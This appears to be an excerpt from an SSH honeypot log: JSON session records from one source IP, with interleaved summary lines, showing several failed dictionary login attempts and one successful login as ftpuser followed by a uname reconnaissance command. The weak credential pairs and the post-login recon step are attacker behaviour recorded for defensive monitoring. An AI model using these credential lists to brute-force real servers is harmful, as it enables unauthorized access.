"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "runner",
"pass": "1234"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: mapingyuan
{
"id": "13f699a0f189",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:15:18.853291Z",
"end_time": "2026-10-01T18:15:20.789645Z",
"duration": "1.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "mapingyuan",
"pass": "qwe123!@"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: developer
{
"id": "79a0d90004e3",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:15:15.009894Z",
"end_time": "2026-10-01T18:15:16.897879Z",
"duration": "1.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "developer",
"pass": "dev"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: ftpuser / 123456789
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "0ff80affc3ba",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:15:11.217719Z",
"end_time": "2026-10-01T18:15:12.471148Z",
"duration": "1.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "ftpuser",
"pass": "123456789"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN",
"RECONNAISSANCE"
]
}